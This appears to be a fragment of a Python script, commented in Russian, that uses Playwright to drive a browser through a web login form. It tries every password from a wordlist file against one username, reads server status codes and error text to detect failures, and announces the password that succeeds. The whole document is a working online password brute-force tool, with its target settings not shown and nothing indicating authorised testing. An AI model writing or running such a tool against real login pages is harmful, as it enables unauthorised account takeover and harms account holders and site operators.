Загрузка данных


def test_passwords():
    with sync_playwright() as p:
        # headless=False оставлен, чтобы вы видели, куда кликает скрипт
        browser = p.chromium.launch(headless=False)
        page = browser.new_page()

        try:
            with open(PASSWORD_FILE, "r", encoding="utf-8") as f:
                for line in f:
                    password = line.strip()
                    if not password:
                        continue

                    print(f"[*] Проверяем пароль: {password}")

                    # Открываем страницу и ждем загрузки поля
                    page.goto(URL)
                    page.wait_for_selector(SELECTOR_LOGIN_INPUT)

                    # Заполняем форму
                    page.fill(SELECTOR_LOGIN_INPUT, USERNAME)
                    page.fill(SELECTOR_PASSWORD_INPUT, password)

                    # Измененная логика: перехватываем любой ответ сервера после клика
                    try:
                        with page.expect_event("response", timeout=5000) as response_info:
                            page.click(SELECTOR_SUBMIT_BUTTON)
                        
                        response = response_info.value
                        print(f"[ DEBUG ] Сервер ответил на URL: {response.url} со статусом {response.status}")

                        # Проверка статуса ответа
                        if response.status == 401:
                            print("[-] Пароль не подошел (Сервер вернул 401 Unauthorized)")
                            time.sleep(1) # Короткая пауза перед следующим кругом
                            continue
                        
                        # Если статус успешный (например, 200, 302, 204)
                        if response.status in [200, 302, 204]:
                            # Дополнительно проверяем, не остался ли на странице текст ошибки
                            time.sleep(1)
                            if "401" in page.content() or "error" in page.content().lower():
                                print("[-] Пароль не подошел (Обнаружен текст ошибки)")
                                continue
                            
                            print(f"\n[+] УСПЕХ! Правильный пароль: {password}")
                            print(f"[+] Итоговый статус: {response.status}")
                            break

                    except Exception as e:
                        print(f"[!] Ошибка ожидания ответа сервера: {e}")
                        print("[-] Попробуем перезагрузить страницу...")
                        continue

        except FileNotFoundError:
            print(f"[!] Файл {PASSWORD_FILE} не найден.")
        finally:
            browser.close()


if __name__ == "__main__":
    test_passwords()